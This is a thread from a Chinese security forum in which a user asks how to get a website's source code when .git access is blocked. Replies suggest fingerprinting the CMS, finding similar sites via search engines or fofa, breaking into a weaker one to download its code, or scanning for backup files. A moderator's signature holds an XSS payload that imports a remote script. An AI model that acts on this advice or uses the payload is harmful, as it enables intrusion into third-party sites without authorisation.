白帽子安全
厂商漏洞预警
业内新闻动态
安全研究
开源工具分享
技术交流讨论
原创文章发布
AI与区块链安全研究
程序代码学习
WEB代码审计
0day漏洞分析
渗透测试文章
Linux/无线/终端 安全
反病毒/逆向/免杀 二进制
安全检测工具
社会工程交流
夺旗赛研究
甲方文档资料
开源CMS源码
加密破解及悬赏
非安全交流
AI应用交流
VPS服务器讨论
区块链币圈交流
手机卡信用卡
域名外贸跨境
电子产品交流
非技术交流
八卦水区
论坛事务
人才招聘
登录
注册
导航
×
首页
白帽子安全
厂商漏洞预警
(2523)
业内新闻动态
(5914)
安全研究
开源工具分享
(187)
技术交流讨论
(19780)
原创文章发布
(21)
AI与区块链安全研究
(29)
程序代码学习
(1042)
WEB代码审计
(1288)
0day漏洞分析
(34)
渗透测试文章
(5928)
Linux/无线/终端 安全
(248)
反病毒/逆向/免杀 二进制
(459)
安全检测工具
(1692)
社会工程交流
(125)
夺旗赛研究
(337)
甲方文档资料
(109)
开源CMS源码
(38)
加密破解及悬赏
(1950)
非安全交流
AI应用交流
(22)
VPS服务器讨论
(46)
区块链币圈交流
(25)
手机卡信用卡
(8)
域名外贸跨境
(10)
电子产品交流
(44)
非技术交流
八卦水区
(6420)
论坛事务
(1663)
人才招聘
(38)
T00ls
»
八卦水区(Discussion )
请问大佬们,想盘某个站点的源码都有哪些思路?
Tiana99
2022-04-24 11:11
178
3
好帖, 支持TA
取消
很可惜, 此ID报废之前, 请仔细阅读论坛总架构中的规则贴:
论坛总规则
Reason:
确认要报废此ID!
取消
Tiana99
UID:14748
潜水会员
楼主
积分:89
TCV:10
TuBi:57
坛龄:5年零37天
#1
黑盒整不会,想把源码盘下来,目录扫描.git返回403,绕不过去,请问大佬们还有其他思路吗?
大家都怎么盘的源码吖
字数不少啊字数不少啊字数不少啊字数不少啊
字数不少啊字数不少啊字数不少啊字数不少啊
字数不少啊字数不少啊字数不少啊字数不少啊
字数不少啊字数不少啊字数不少啊字数不少啊
SuNu11
UID:8441
版主
积分:330
TCV:2
TuBi:906
坛龄:10年116天
活跃
5级
2022-04-24
#2
先识别cms吧,或者找几个站点特征去搜索引擎看看其他同类站点。日下来任意一个就行了,或者扫到备份文件。
有志者、事竟成,破釜沉舟
<Img Src=//x.is OnLoad=import(src)>
ceshi001
UID:14918
潜水会员
积分:26
TCV:0
TuBi:165
坛龄:4年327天
2022-04-24
#3
我一般都是找特征,fofa找同类站点,然后找个弱的日下来,下载源码本地审计
Darwin
UID:14723
注册会员
积分:447
TCV:0
TuBi:385
坛龄:5年零49天
活跃
1级
2022-04-26
#4
指纹识别,通过其他渠道去打
打赏
×
TuBi 数量 (1~49)
1
5
10
20
49
评价理由
确认
取消
帖子评分
×
撤销评分
×
Tiana99
潜水会员
楼主
19
主题
123
帖子
57
TuBi
TA的主页
私信TA
返回版块
社区首页
本版最新
ai去搞是否有风险
t00ls的漏洞怎么发
一个有趣的游戏
求助师傅们,有无师傅能邀请进linux.do ,github账号没有5年申请不了
请教各位大佬,关于imtoken钱包安全问题
“荐片播放器”有什么好的分析工具吗
【新人求助】最近在尝试用 Hermes + Kali Linux 进行 AI 辅助漏洞挖掘,效果不太理想,想请教各位大佬
关于云原生安全的求教
一点疑问
新人菜鸟求助